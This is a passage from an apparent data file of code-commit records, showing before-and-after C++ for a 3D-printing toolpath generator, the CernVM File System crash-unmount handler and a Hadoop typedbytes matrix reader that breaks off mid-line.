progress)\n        : Progressive(progress) {\n    patherCfg.doGraphOptimization = grueConf.get_doGraphOptimization();\n    patherCfg.coarseness = grueConf.get_coarseness();\n    patherCfg.directionWeight = grueConf.get_directionWeight();\n}\n\nvoid Pather::generatePaths(const GrueConfig& grueCfg,\n\t\tconst RegionList &skeleton,\n\t\tconst LayerMeasure &layerMeasure,\n\t\tconst Grid &grid,\n\t\tLayerPaths &layerpaths,\n\t\tint sfirstSliceIdx, \/\/ =-1\n\t\tint slastSliceIdx) \/\/\n{\n\tsize_t firstSliceIdx = 0;\n\tsize_t lastSliceIdx = INT_MAX;\n\n\tif (sfirstSliceIdx > 0) {\n\t\tfirstSliceIdx = (size_t) sfirstSliceIdx;\n\t}\n\n\tif (slastSliceIdx > 0) {\n\t\tlastSliceIdx = (size_t) slastSliceIdx;\n\t}\n\n\tbool direction = false;\n\tunsigned int currentSlice = 0;\n\n\tinitProgress(\"Path generation\", skeleton.size());\n    \n    abstract_optimizer* optimizer = NULL;\n    if(grueCfg.get_doGraphOptimization()) {\n        optimizer = new pather_optimizer_fastgraph(grueCfg);\n    } else {\n        optimizer = new pather_optimizer();\n    }\n\n\tfor (RegionList::const_iterator layerRegions = skeleton.begin();\n\t\t\tlayerRegions != skeleton.end(); ++layerRegions) {\n\t\ttick();\n        try {\n\t\tif (currentSlice < firstSliceIdx) continue;\n\t\tif (currentSlice > lastSliceIdx) break;\n        if(grueCfg.get_doRaft() && currentSlice > 1 && \n                currentSlice < grueCfg.get_raftLayers() && \n                grueCfg.get_raftAligned()) {\n            \/\/don't flip direction\n        } else {\n            direction = !direction;\n        }\n\t\tconst layer_measure_index_t layerMeasureId =\n\t\t\t\tlayerRegions->layerMeasureId;\n\n\t\t\/\/adding these should be handled in gcoder\n\t\tconst Scalar z = layerMeasure.getLayerPosition(layerMeasureId);\n\t\tconst Scalar h = layerMeasure.getLayerThickness(layerMeasureId);\n\t\tconst Scalar w = layerMeasure.getLayerWidth(layerMeasureId);\n\n\t\tlayerpaths.push_back(LayerPaths::Layer(z, h, w, layerMeasureId));\n\n\t\tLayerPaths::Layer& lp_layer = layerpaths.back();\n\n\t\t\/\/TODO: this only handles the case where the user specifies the extruder\n\t\t\/\/ it does not handle a dualstrusion print\n\t\tlp_layer.extruders.push_back(\n\t\t\t\tLayerPaths::Layer::ExtruderLayer(grueCfg.get_defaultExtruder()));\n\t\tLayerPaths::Layer::ExtruderLayer& extruderlayer =\n\t\t\t\tlp_layer.extruders.back();\n\t\t\n\/\/        Json::Value spurLoops;\n\/\/        for(std::list<LoopList>::const_iterator depthIter = \n\/\/                layerRegions->spurLoops.begin(); \n\/\/                depthIter != layerRegions->spurLoops.end(); \n\/\/                ++depthIter) {\n\/\/            dumpLoopList(*depthIter, spurLoops);\n\/\/        }\n\/\/        std::cerr << Json::FastWriter().write(spurLoops);\n\t\t\n\t\toptimizer->clearBoundaries();\n        optimizer->clearPaths();\n\n\t\tconst std::list<LoopList>& insetLoops = layerRegions->insetLoops;\n\t\tconst std::list<OpenPathList>& spurPaths = layerRegions->spurs;\n\t\t\n        if(grueCfg.get_doOutlines()) {\n            for(LoopList::const_iterator iter = layerRegions->outlines.begin(); \n                    iter != layerRegions->outlines.end(); \n                    ++iter) {\n                const LoopPath outlinePath(*iter, iter->clockwise(), \n                        iter->counterClockwise());\n                extruderlayer.paths.push_back(PathLabel(PathLabel::TYP_OUTLINE, \n                        PathLabel::OWN_MODEL));\n                OpenPath& path = extruderlayer.paths.back().myPath;\n                for(LoopPath::const_iterator pointIter = outlinePath.fromStart(); \n                        pointIter != outlinePath.end(); \n                        ++pointIter) {\n                    path.appendPoint(*pointIter);\n                }\n            }\n            for(LoopList::const_iterator iter = layerRegions->supportLoops.begin(); \n                    iter != layerRegions->supportLoops.end(); \n                    ++iter) {\n                const LoopPath outlinePath(*iter, iter->clockwise(), \n                        iter->counterClockwise());\n                extruderlayer.paths.push_back(PathLabel(PathLabel::TYP_OUTLINE, \n                        PathLabel::OWN_SUPPORT));\n                OpenPath& path = extruderlayer.paths.back().myPath;\n                for(LoopPath::const_iterator pointIter = outlinePath.fromStart(); \n                        pointIter != outlinePath.end(); \n                        ++pointIter) {\n                    path.appendPoint(*pointIter);\n                }\n            }\n        }\n\t\t\n\t\toptimizer->addBoundaries(layerRegions->outlines);\t\n        \n        bool hasInfill = grueCfg.get_doInfills() && \n                grueCfg.get_infillDensity() > 0;\n        bool hasSolidLayers = grueCfg.get_roofLayerCount() > 0 || \n                grueCfg.get_floorLayerCount() > 0;\n        \n        if(!hasInfill && !hasSolidLayers) {\n            optimizer->addBoundaries(layerRegions->interiorLoops);\n        }\n        \n        const GridRanges& infillRanges = layerRegions->infill;\n\n\t\tconst std::vector<Scalar>& values = \n\t\t\t\t!direction ? grid.getXValues() : grid.getYValues();\n\t\taxis_e axis = direction ? X_AXIS : Y_AXIS;\n        \n        if(grueCfg.get_doRaft() || grueCfg.get_doSupport()) {\n            LoopList outsetSupportLoops;\n            loopsOffset(outsetSupportLoops, layerRegions->supportLoops, \n                    0.01);\n            optimizer->addBoundaries(outsetSupportLoops);\n            \n            const GridRanges& supportRanges = layerRegions->support;\n            OpenPathList supportPaths;\n            grid.gridRangesToOpenPaths(\n                    direction ? supportRanges.xRays : supportRanges.yRays, \n                    values, \n                    axis, \n                    supportPaths);\n            optimizer->addPaths(supportPaths, PathLabel(PathLabel::TYP_INFILL, \n                    PathLabel::OWN_SUPPORT, 0));\n        }\n\t\tif(grueCfg.get_doInsets()) {\n            int currentShell = LayerPaths::Layer::ExtruderLayer::INSET_LABEL_VALUE;\n            for(std::list<LoopList>::const_iterator listIter = insetLoops.begin(); \n                    listIter != insetLoops.end(); \n                    ++listIter) {\n                int shellVal = currentShell;\n                optimizer->addPaths(*listIter, \n                        PathLabel(PathLabel::TYP_INSET, \n                        PathLabel::OWN_MODEL, shellVal));\n                ++currentShell;\n            }\n\n            currentShell = LayerPaths::Layer::ExtruderLayer::INSET_LABEL_VALUE;\n            for(std::list<OpenPathList>::const_iterator spurIter = spurPaths.begin(); \n                spurIter != spurPaths.end(); \n                    ++spurIter) {\n                int shellVal = currentShell;\n                optimizer->addPaths(*spurIter, \n                        PathLabel(PathLabel::TYP_INSET, \n                        PathLabel::OWN_MODEL, shellVal));\n                ++currentShell;\n            }\n        }\n\n\t\tOpenPathList infillPaths;\n\t\tgrid.gridRangesToOpenPaths(\n\t\t\t\tdirection ? infillRanges.xRays : infillRanges.yRays,  \n\t\t\t\tvalues, \n\t\t\t\taxis, \n\t\t\t\tinfillPaths);\n\t\t\n\t\tLabeledOpenPaths preoptimized;\n\t\t\n        if(grueCfg.get_doInfills()) {\n            optimizer->addPaths(infillPaths, PathLabel(PathLabel::TYP_INFILL, \n                    PathLabel::OWN_MODEL, \n                    LayerPaths::Layer::ExtruderLayer::INFILL_LABEL_VALUE));\n        }\n        optimizer->optimize(preoptimized);\n        smoothCollection(preoptimized, grueCfg.get_coarseness(), \n                grueCfg.get_directionWeight());\n        cleanPaths(preoptimized);\n        smoothCollection(preoptimized, grueCfg.get_coarseness(), \n                grueCfg.get_directionWeight());\n        \n        extruderlayer.paths.insert(extruderlayer.paths.end(), \n                preoptimized.begin(), preoptimized.end());\n        } catch (const std::exception& our) {\n            std::cout << \"Error \" << our.what() << \" on layer \" << \n                    currentSlice << std::endl;\n        }\n\t\t++currentSlice;\n\t}\n    delete optimizer;\n}\n\nvoid Pather::cleanPaths(LabeledOpenPaths& result) {\n    std::vector<LabeledOpenPaths::iterator> eraseMe;\n    typedef LabeledOpenPaths::iterator iterator;\n    if(result.empty())\n        return;\n    iterator current = result.begin();\n    iterator next = current;\n    for(++next; \n            next != result.end(); \n            ++current, ++next) {\n        const Scalar dropThreshold = patherCfg.coarseness * 0.5;\n        while(current != result.end() && current->myPath.distance() < \n                dropThreshold) {\n            current = result.erase(current);\n            next = current;\n            ++next;\n        }\n        while(next != result.end() && next->myPath.distance() < \n                dropThreshold) {\n            next = result.erase(next);\n        }\n        if(current == result.end() || next == result.end())\n            break;\n        Point2Type currentStart = *(current->myPath.fromStart());\n        Point2Type currentEnd = *(current->myPath.fromEnd());\n        Point2Type nextStart = *(next->myPath.fromStart());\n        Point2Type nextEnd = *(next->myPath.fromEnd());\n        if((currentEnd - nextStart).squaredMagnitude() > \n                (patherCfg.coarseness * patherCfg.coarseness)) { \/\/separate paths\n            continue;\n        }\n        if((current->myLabel.isConnection() || \n                current->myLabel.isInset()) && \n                (next->myLabel.isConnection() || \n                next->myLabel.isInset())) {\n            \/\/we have adjacent paths of the correct types\n            if((currentStart == currentEnd && current->myPath.size() > 2) || \n                    (nextStart == nextEnd && next->myPath.size() > 2)) \/\/one is an inset, don't join\n                continue;\n            OpenPath::iterator nextPoint = next->myPath.fromStart();\n            ++nextPoint;\n            current->myPath.appendPoints(nextPoint, next->myPath.end());\n            if(current->myLabel.isInset()) {\n                next->myLabel = current->myLabel;\n            }\n            next->myPath = current->myPath;\n            eraseMe.push_back(current);\n        }\n    }\n    while(!eraseMe.empty()) {\n        result.erase(eraseMe.back());\n        eraseMe.pop_back();\n    }\n}\n\n}\n<commit_msg>Reduce level of filtering to fix mangled paths<commit_after>\/**\n   MiracleGrue - Model Generator for toolpathing. <http:\/\/www.grue.makerbot.com>\n   Copyright (C) 2011 Far McKon <Far@makerbot.com>, Hugo Boyer (hugo@makerbot.com)\n\n   This program is free software: you can redistribute it and\/or modify\n   it under the terms of the GNU Affero General Public License as\n   published by the Free Software Foundation, either version 3 of the\n   License, or (at your option) any later version.\n \n    MiracleGrue - Toolpath generator for 3D printing.\n    Copyright (C) 2012 Joseph Sadusk <jsadusk@makerbot.com>, Filipp Gelman <filipp@makerbot.com>\n\n    This program is free software: you can redistribute it and\/or modify\n    it under the terms of the GNU Affero General Public License as\n    published by the Free Software Foundation, either version 3 of the\n    License, or (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU Affero General Public License for more details.\n\n    You should have received a copy of the GNU Affero General Public License\n    along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n *\/\n\n#include <list>\n#include <vector>\n\n#include \"pather.h\"\n#include \"limits.h\"\n#include \"pather_optimizer_graph.h\"\n#include \"pather_optimizer_fastgraph.h\"\n#include \"dump_restore.h\"\n\nnamespace mgl {\nusing namespace std;\n\nPather::Pather(const PatherConfig& pCfg, ProgressBar* progress) \n\t\t: Progressive(progress), patherCfg(pCfg) {}\nPather::Pather(const GrueConfig& grueConf, ProgressBar* progress)\n        : Progressive(progress) {\n    patherCfg.doGraphOptimization = grueConf.get_doGraphOptimization();\n    patherCfg.coarseness = grueConf.get_coarseness();\n    patherCfg.directionWeight = grueConf.get_directionWeight();\n}\n\nvoid Pather::generatePaths(const GrueConfig& grueCfg,\n\t\tconst RegionList &skeleton,\n\t\tconst LayerMeasure &layerMeasure,\n\t\tconst Grid &grid,\n\t\tLayerPaths &layerpaths,\n\t\tint sfirstSliceIdx, \/\/ =-1\n\t\tint slastSliceIdx) \/\/\n{\n\tsize_t firstSliceIdx = 0;\n\tsize_t lastSliceIdx = INT_MAX;\n\n\tif (sfirstSliceIdx > 0) {\n\t\tfirstSliceIdx = (size_t) sfirstSliceIdx;\n\t}\n\n\tif (slastSliceIdx > 0) {\n\t\tlastSliceIdx = (size_t) slastSliceIdx;\n\t}\n\n\tbool direction = false;\n\tunsigned int currentSlice = 0;\n\n\tinitProgress(\"Path generation\", skeleton.size());\n    \n    abstract_optimizer* optimizer = NULL;\n    if(grueCfg.get_doGraphOptimization()) {\n        optimizer = new pather_optimizer_fastgraph(grueCfg);\n    } else {\n        optimizer = new pather_optimizer();\n    }\n\n\tfor (RegionList::const_iterator layerRegions = skeleton.begin();\n\t\t\tlayerRegions != skeleton.end(); ++layerRegions) {\n\t\ttick();\n        try {\n\t\tif (currentSlice < firstSliceIdx) continue;\n\t\tif (currentSlice > lastSliceIdx) break;\n        if(grueCfg.get_doRaft() && currentSlice > 1 && \n                currentSlice < grueCfg.get_raftLayers() && \n                grueCfg.get_raftAligned()) {\n            \/\/don't flip direction\n        } else {\n            direction = !direction;\n        }\n\t\tconst layer_measure_index_t layerMeasureId =\n\t\t\t\tlayerRegions->layerMeasureId;\n\n\t\t\/\/adding these should be handled in gcoder\n\t\tconst Scalar z = layerMeasure.getLayerPosition(layerMeasureId);\n\t\tconst Scalar h = layerMeasure.getLayerThickness(layerMeasureId);\n\t\tconst Scalar w = layerMeasure.getLayerWidth(layerMeasureId);\n\n\t\tlayerpaths.push_back(LayerPaths::Layer(z, h, w, layerMeasureId));\n\n\t\tLayerPaths::Layer& lp_layer = layerpaths.back();\n\n\t\t\/\/TODO: this only handles the case where the user specifies the extruder\n\t\t\/\/ it does not handle a dualstrusion print\n\t\tlp_layer.extruders.push_back(\n\t\t\t\tLayerPaths::Layer::ExtruderLayer(grueCfg.get_defaultExtruder()));\n\t\tLayerPaths::Layer::ExtruderLayer& extruderlayer =\n\t\t\t\tlp_layer.extruders.back();\n\t\t\n\/\/        Json::Value spurLoops;\n\/\/        for(std::list<LoopList>::const_iterator depthIter = \n\/\/                layerRegions->spurLoops.begin(); \n\/\/                depthIter != layerRegions->spurLoops.end(); \n\/\/                ++depthIter) {\n\/\/            dumpLoopList(*depthIter, spurLoops);\n\/\/        }\n\/\/        std::cerr << Json::FastWriter().write(spurLoops);\n\t\t\n\t\toptimizer->clearBoundaries();\n        optimizer->clearPaths();\n\n\t\tconst std::list<LoopList>& insetLoops = layerRegions->insetLoops;\n\t\tconst std::list<OpenPathList>& spurPaths = layerRegions->spurs;\n\t\t\n        if(grueCfg.get_doOutlines()) {\n            for(LoopList::const_iterator iter = layerRegions->outlines.begin(); \n                    iter != layerRegions->outlines.end(); \n                    ++iter) {\n                const LoopPath outlinePath(*iter, iter->clockwise(), \n                        iter->counterClockwise());\n                extruderlayer.paths.push_back(PathLabel(PathLabel::TYP_OUTLINE, \n                        PathLabel::OWN_MODEL));\n                OpenPath& path = extruderlayer.paths.back().myPath;\n                for(LoopPath::const_iterator pointIter = outlinePath.fromStart(); \n                        pointIter != outlinePath.end(); \n                        ++pointIter) {\n                    path.appendPoint(*pointIter);\n                }\n            }\n            for(LoopList::const_iterator iter = layerRegions->supportLoops.begin(); \n                    iter != layerRegions->supportLoops.end(); \n                    ++iter) {\n                const LoopPath outlinePath(*iter, iter->clockwise(), \n                        iter->counterClockwise());\n                extruderlayer.paths.push_back(PathLabel(PathLabel::TYP_OUTLINE, \n                        PathLabel::OWN_SUPPORT));\n                OpenPath& path = extruderlayer.paths.back().myPath;\n                for(LoopPath::const_iterator pointIter = outlinePath.fromStart(); \n                        pointIter != outlinePath.end(); \n                        ++pointIter) {\n                    path.appendPoint(*pointIter);\n                }\n            }\n        }\n\t\t\n\t\toptimizer->addBoundaries(layerRegions->outlines);\t\n        \n        bool hasInfill = grueCfg.get_doInfills() && \n                grueCfg.get_infillDensity() > 0;\n        bool hasSolidLayers = grueCfg.get_roofLayerCount() > 0 || \n                grueCfg.get_floorLayerCount() > 0;\n        \n        if(!hasInfill && !hasSolidLayers) {\n            optimizer->addBoundaries(layerRegions->interiorLoops);\n        }\n        \n        const GridRanges& infillRanges = layerRegions->infill;\n\n\t\tconst std::vector<Scalar>& values = \n\t\t\t\t!direction ? grid.getXValues() : grid.getYValues();\n\t\taxis_e axis = direction ? X_AXIS : Y_AXIS;\n        \n        if(grueCfg.get_doRaft() || grueCfg.get_doSupport()) {\n            LoopList outsetSupportLoops;\n            loopsOffset(outsetSupportLoops, layerRegions->supportLoops, \n                    0.01);\n            optimizer->addBoundaries(outsetSupportLoops);\n            \n            const GridRanges& supportRanges = layerRegions->support;\n            OpenPathList supportPaths;\n            grid.gridRangesToOpenPaths(\n                    direction ? supportRanges.xRays : supportRanges.yRays, \n                    values, \n                    axis, \n                    supportPaths);\n            optimizer->addPaths(supportPaths, PathLabel(PathLabel::TYP_INFILL, \n                    PathLabel::OWN_SUPPORT, 0));\n        }\n\t\tif(grueCfg.get_doInsets()) {\n            int currentShell = LayerPaths::Layer::ExtruderLayer::INSET_LABEL_VALUE;\n            for(std::list<LoopList>::const_iterator listIter = insetLoops.begin(); \n                    listIter != insetLoops.end(); \n                    ++listIter) {\n                int shellVal = currentShell;\n                optimizer->addPaths(*listIter, \n                        PathLabel(PathLabel::TYP_INSET, \n                        PathLabel::OWN_MODEL, shellVal));\n                ++currentShell;\n            }\n\n            currentShell = LayerPaths::Layer::ExtruderLayer::INSET_LABEL_VALUE;\n            for(std::list<OpenPathList>::const_iterator spurIter = spurPaths.begin(); \n                spurIter != spurPaths.end(); \n                    ++spurIter) {\n                int shellVal = currentShell;\n                optimizer->addPaths(*spurIter, \n                        PathLabel(PathLabel::TYP_INSET, \n                        PathLabel::OWN_MODEL, shellVal));\n                ++currentShell;\n            }\n        }\n\n\t\tOpenPathList infillPaths;\n\t\tgrid.gridRangesToOpenPaths(\n\t\t\t\tdirection ? infillRanges.xRays : infillRanges.yRays,  \n\t\t\t\tvalues, \n\t\t\t\taxis, \n\t\t\t\tinfillPaths);\n\t\t\n\t\tLabeledOpenPaths preoptimized;\n\t\t\n        if(grueCfg.get_doInfills()) {\n            optimizer->addPaths(infillPaths, PathLabel(PathLabel::TYP_INFILL, \n                    PathLabel::OWN_MODEL, \n                    LayerPaths::Layer::ExtruderLayer::INFILL_LABEL_VALUE));\n        }\n        optimizer->optimize(preoptimized);\n\/\/        smoothCollection(preoptimized, grueCfg.get_coarseness(), \n\/\/                grueCfg.get_directionWeight());\n        cleanPaths(preoptimized);\n        smoothCollection(preoptimized, grueCfg.get_coarseness(), \n                grueCfg.get_directionWeight());\n        \n        extruderlayer.paths.insert(extruderlayer.paths.end(), \n                preoptimized.begin(), preoptimized.end());\n        } catch (const std::exception& our) {\n            std::cout << \"Error \" << our.what() << \" on layer \" << \n                    currentSlice << std::endl;\n        }\n\t\t++currentSlice;\n\t}\n    delete optimizer;\n}\n\nvoid Pather::cleanPaths(LabeledOpenPaths& result) {\n    std::vector<LabeledOpenPaths::iterator> eraseMe;\n    typedef LabeledOpenPaths::iterator iterator;\n    if(result.empty())\n        return;\n    iterator current = result.begin();\n    iterator next = current;\n    for(++next; \n            next != result.end(); \n            ++current, ++next) {\n        if(false) {\n            \/\/paths below dropThreshold are too short to be valid. \n            \/\/even connections must be longer, so we drop them\n            const Scalar dropThreshold = patherCfg.coarseness * 0.5;\n            \/\/keep dropping current until length above threshold\n            while(current != result.end() && current->myPath.distance() < \n                    dropThreshold) {\n                current = result.erase(current);\n                next = current;\n                ++next;\n            }\n            \/\/keep dropping next until length above threshold\n            while(next != result.end() && next->myPath.distance() < \n                    dropThreshold) {\n                next = result.erase(next);\n            }\n            if(current == result.end() || next == result.end())\n                break;\n        }\n        Point2Type currentStart = *(current->myPath.fromStart());\n        Point2Type currentEnd = *(current->myPath.fromEnd());\n        Point2Type nextStart = *(next->myPath.fromStart());\n        Point2Type nextEnd = *(next->myPath.fromEnd());\n        if((currentEnd - nextStart).squaredMagnitude() > \n                (patherCfg.coarseness * patherCfg.coarseness)) { \/\/separate paths\n            continue;\n        }\n        \/\/here we only join spurs and connections\n        if((current->myLabel.isConnection() || \n                current->myLabel.isInset()) && \n                (next->myLabel.isConnection() || \n                next->myLabel.isInset())) {\n            \/\/we have adjacent paths of the correct types\n            if((currentStart == currentEnd && current->myPath.size() > 2) || \n                    (nextStart == nextEnd && next->myPath.size() > 2)) \/\/one is an inset, don't join\n                continue;\n            OpenPath::iterator nextPoint = next->myPath.fromStart();\n            ++nextPoint;\n            current->myPath.appendPoints(nextPoint, next->myPath.end());\n            if(current->myLabel.isInset()) {\n                next->myLabel = current->myLabel;\n            }\n            next->myPath = current->myPath;\n            eraseMe.push_back(current);\n        }\n    }\n    while(!eraseMe.empty()) {\n        result.erase(eraseMe.back());\n        eraseMe.pop_back();\n    }\n}\n\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Minor comment changes.<commit_after><|endoftext|>"}
{"text":"<commit_before>\/**\n * This file is part of the CernVM File System.\n *\/\n\n#include \"config.h\"\n#include \"auto_umount.h\"\n\n#include <unistd.h>\n#include <errno.h>\n#include <sys\/types.h>\n#include <dirent.h>\n\n#include <string>\n#include <vector>\n#include <set>\n#include <map>\n\n#include \"platform.h\"\n#include \"logging.h\"\n#include \"util.h\"\n\nusing namespace std;\n\nnamespace auto_umount {\n\nstring *mountpoint_ = NULL;\n\nvoid SetMountpoint(const string &mountpoint) {\n  if (mountpoint == \"\") {\n    delete mountpoint_;\n    mountpoint_ = NULL;\n  } else {\n    mountpoint_ = new string(mountpoint);\n  }\n}\n\n\nvoid UmountOnCrash() {\n  if (!mountpoint_) {\n    LogCvmfs(kLogCvmfs, kLogSyslogErr, \"crash cleanup handler: no mountpoint\");\n    return;\n  }\n\n  std::vector<std::string> all_mountpoints = platform_mountlist();\n  if (all_mountpoints.empty()) {\n    LogCvmfs(kLogCvmfs, kLogSyslogErr, \"crash cleanup handler: \"\n             \"failed to read mount point list\");\n    return;\n  }\n\n  \/\/ Mitigate auto-mount - crash - umount - auto-mount loops\n  SafeSleepMs(2000);\n\n  \/\/ Check if *mountpoint_ is still mounted\n  \/\/ (we don't want to trigger a mount by immediately doing stat *mountpoint_)\n  bool still_mounted = false;\n  for (unsigned i = 0; i < all_mountpoints.size(); ++i) {\n    if (*mountpoint_ == all_mountpoints[i]) {\n      still_mounted = true;\n      break;\n    }\n  }\n  if (!still_mounted) {\n    LogCvmfs(kLogCvmfs, kLogDebug, \"crash cleanup handler: %s not mounted\",\n             mountpoint_->c_str());\n    return;\n  }\n\n  \/\/ stat() might be served from caches.  Opendir ensures fuse module is called.\n  DIR *dirp = opendir(mountpoint_->c_str());\n  if (dirp || (errno != ENOTCONN)) {\n    if (dirp) closedir(dirp);\n    LogCvmfs(kLogCvmfs, kLogSyslog, \"crash cleanup handler: \"\n             \"%s seems not to be stalled (%d)\", mountpoint_->c_str(), errno);\n    return;\n  }\n\n  \/\/ sudo umount -l *mountpoint_\n  if (!SwitchCredentials(0, getegid(), true)) {\n    LogCvmfs(kLogCvmfs, kLogSyslogErr, \"crash cleanup handler: \"\n             \"failed to re-gain root privileges\");\n    return;\n  }\n  const bool lazy = true;\n  bool retval = platform_umount(mountpoint_->c_str(), lazy);\n  if (!retval) {\n    LogCvmfs(kLogCvmfs, kLogSyslogErr, \"crash cleanup handler: \"\n             \"failed to unmount %s\", mountpoint_->c_str());\n    return;\n  }\n\n  LogCvmfs(kLogCvmfs, kLogSyslog, \"crash cleanup handler: unmounted %s\",\n           mountpoint_->c_str());\n}\n\n}  \/\/ namespace auto_umount\n<commit_msg>cosmetics<commit_after>\/**\n * This file is part of the CernVM File System.\n *\/\n\n#include \"config.h\"\n#include \"auto_umount.h\"\n\n#include <unistd.h>\n#include <errno.h>\n#include <sys\/types.h>\n#include <dirent.h>\n\n#include <string>\n#include <vector>\n#include <set>\n#include <map>\n\n#include \"platform.h\"\n#include \"logging.h\"\n#include \"util.h\"\n\nusing namespace std;\n\nnamespace auto_umount {\n\nstring *mountpoint_ = NULL;\n\nvoid SetMountpoint(const string &mountpoint) {\n  if (mountpoint == \"\") {\n    delete mountpoint_;\n    mountpoint_ = NULL;\n  } else {\n    mountpoint_ = new string(mountpoint);\n  }\n}\n\n\nvoid UmountOnCrash() {\n  if (!mountpoint_) {\n    LogCvmfs(kLogCvmfs, kLogSyslogErr, \"crash cleanup handler: no mountpoint\");\n    return;\n  }\n\n  std::vector<std::string> all_mountpoints = platform_mountlist();\n  if (all_mountpoints.empty()) {\n    LogCvmfs(kLogCvmfs, kLogSyslogErr, \"crash cleanup handler: \"\n             \"failed to read mount point list\");\n    return;\n  }\n\n  \/\/ Mitigate auto-mount - crash - umount - auto-mount loops\n  SafeSleepMs(2000);\n\n  \/\/ Check if *mountpoint_ is still mounted\n  \/\/ (we don't want to trigger a mount by immediately doing stat *mountpoint_)\n  bool still_mounted = false;\n  for (unsigned i = 0; i < all_mountpoints.size(); ++i) {\n    if (*mountpoint_ == all_mountpoints[i]) {\n      still_mounted = true;\n      break;\n    }\n  }\n  if (!still_mounted) {\n    LogCvmfs(kLogCvmfs, kLogDebug, \"crash cleanup handler: %s not mounted\",\n             mountpoint_->c_str());\n    return;\n  }\n\n  \/\/ stat() might be served from caches.  Opendir ensures fuse module is called.\n  DIR *dirp = opendir(mountpoint_->c_str());\n  if (dirp || (errno != ENOTCONN)) {\n    if (dirp) closedir(dirp);\n    LogCvmfs(kLogCvmfs, kLogSyslog, \"crash cleanup handler: \"\n             \"%s seems not to be stalled (%d)\", mountpoint_->c_str(), errno);\n    return;\n  }\n\n  \/\/ sudo umount -l *mountpoint_\n  if (!SwitchCredentials(0, getegid(), true)) {\n    LogCvmfs(kLogCvmfs, kLogSyslogErr, \"crash cleanup handler: \"\n             \"failed to re-gain root privileges\");\n    return;\n  }\n  const bool lazy = true;\n  bool retval = platform_umount(mountpoint_->c_str(), lazy);\n  if (!retval) {\n    LogCvmfs(kLogCvmfs, kLogSyslogErr, \"crash cleanup handler: \"\n             \"failed to unmount %s\", mountpoint_->c_str());\n    return;\n  }\n\n  LogCvmfs(kLogCvmfs, kLogSyslog, \"crash cleanup handler unmounted stalled %s\",\n           mountpoint_->c_str());\n}\n\n}  \/\/ namespace auto_umount\n<|endoftext|>"}
{"text":"<commit_before>#include <vector>\n\n#include \"mrmc.h\"\n#include \"typedbytes.h\"\n\nvoid MatrixHandler::read_full_row(std::vector<double>& row) {\n  row.clear();\n  TypedBytesType code = in_.next_type();\n  typedbytes_length len;\n  TypedBytesType nexttype;\n  switch (code) {\n  case TypedBytesVector:\n    len = in_.read_typedbytes_sequence_length();\n    row.reserve((size_t)len);\n    for (size_t i = 0; i < (size_t) len; ++i) {\n      nexttype = in_.next_type();\n      if (in_.can_be_double(nexttype)) {\n\trow.push_back(in_.convert_double());\n      } else {\n\thadoop_error(\"row %zi, col %zi has a non-double-convertable type\\n\",\n\t\t     num_total_rows_, row.size());\n      }\n    }\n    break;\n  case TypedBytesByteSequence:\n    len = in_.read_byte_sequence_length();\n    row.resize((size_t) len \/ sizeof(double));\n    in_.read_byte_sequence((unsigned char *) &row[0], len);\n    break;\n  case TypedBytesList:\n    hadoop_message(\"TypedBytesList!\\n\");\n    nexttype = in_.next_type();\n    while (nexttype != TypedBytesListEnd) {\n      if (in_.can_be_double(nexttype)) {\n\trow.push_back(in_.convert_double());\n      } else {\n\thadoop_message(\"row has a non-double-convertable type!!\\n\");\n\thadoop_error(\"row %zi, col %zi has a non-double-convertable type\\n\",\n\t\t     num_total_rows_, row.size());\n      }\n      nexttype = in_.next_type();\n    }\n    break;\n  case TypedBytesString:\n    len = in_.read_string_length();\n    row.resize(len \/ 8);\n    in_.read_string_data((unsigned char *) &row[0], (size_t) len);\n    break;\n  default:\n    hadoop_error(\"row %zi is an unknown type (code is: %d)\\n\",\n\t\t num_total_rows_, code);\n  }\n}\n\nbool MatrixHandler::read_key_val_pair(typedbytes_opaque& key,\n\t\t\t\t      std::vector<double>& value) {\n  if (!in_.read_opaque(key)) {\n    return false;\n  }\n  read_full_row(value); \n  return true;\n}\n\nvoid MatrixHandler::mapper() {\n  std::vector<double> row;\n  first_row();\n  while (!feof(in_.get_stream())) {\n    typedbytes_opaque key;\n    if (!read_key_val_pair(key, row)) {\n      if (feof(in_.get_stream())) {\n\tbreak;\n      } else {\n\thadoop_error(\"invalid key: row %i\\n\", num_total_rows_);\n      }\n    }\n    collect(key, row);\n  }\n  hadoop_status(\"final output\");\n  output();\n}\n    \n\/\/ Allocate the local matrix and set to zero\nvoid MatrixHandler::alloc(size_t num_rows, size_t num_cols) {\n  local_matrix_.resize(num_rows * num_cols);\n  for (size_t i = 0; i < num_rows * num_cols; ++i) {\n    local_matrix_[i] = 0.;\n  }\n  num_rows_ = num_rows;\n  num_cols_ = num_cols;\n  num_local_rows_ = 0;\n}    \n    \n\/\/ Handle the first input row.  We use the first row to gather data\n\/\/ about the matrix.\nvoid MatrixHandler::first_row() {\n  typedbytes_opaque key;\n  std::vector<double> row;\n  read_key_val_pair(key, row);\n  \/\/ TODO(arbenson) check for error here\n  num_cols_ = row.size();\n  hadoop_message(\"matrix size: %zi num_cols_, up to %i localrows\\n\", \n\t\t num_cols_, blocksize_ * num_cols_);\n  alloc(blocksize_ * num_cols_, num_cols_); \n  add_row(row);\n}\n    \n\/\/ read in a row and add it to the local matrix\nvoid MatrixHandler::add_row(const std::vector<double>& row) {\n  assert(row.size() == num_cols_);\n  assert(num_local_rows_ < num_rows_);\n  \/\/ store by column\n  for (size_t k = 0; k < rows_per_record_; ++k) {\n    size_t i = 0;\n    for (size_t j = 0; j < num_cols_; ++j) {\n      local_matrix_[num_local_rows_ + j * num_rows_] = row[i];\n      ++i;\n    }\n    \/\/ increment the number of local rows\n    ++num_local_rows_;\n    ++num_total_rows_;\n  }\n}\n\n<commit_msg>handle the case where no data is passed to the task<commit_after>#include <vector>\n\n#include \"mrmc.h\"\n#include \"typedbytes.h\"\n\nvoid MatrixHandler::read_full_row(std::vector<double>& row) {\n  row.clear();\n  TypedBytesType code = in_.next_type();\n  typedbytes_length len;\n  TypedBytesType nexttype;\n  switch (code) {\n  case TypedBytesVector:\n    len = in_.read_typedbytes_sequence_length();\n    row.reserve((size_t)len);\n    for (size_t i = 0; i < (size_t) len; ++i) {\n      nexttype = in_.next_type();\n      if (in_.can_be_double(nexttype)) {\n\trow.push_back(in_.convert_double());\n      } else {\n\thadoop_error(\"row %zi, col %zi has a 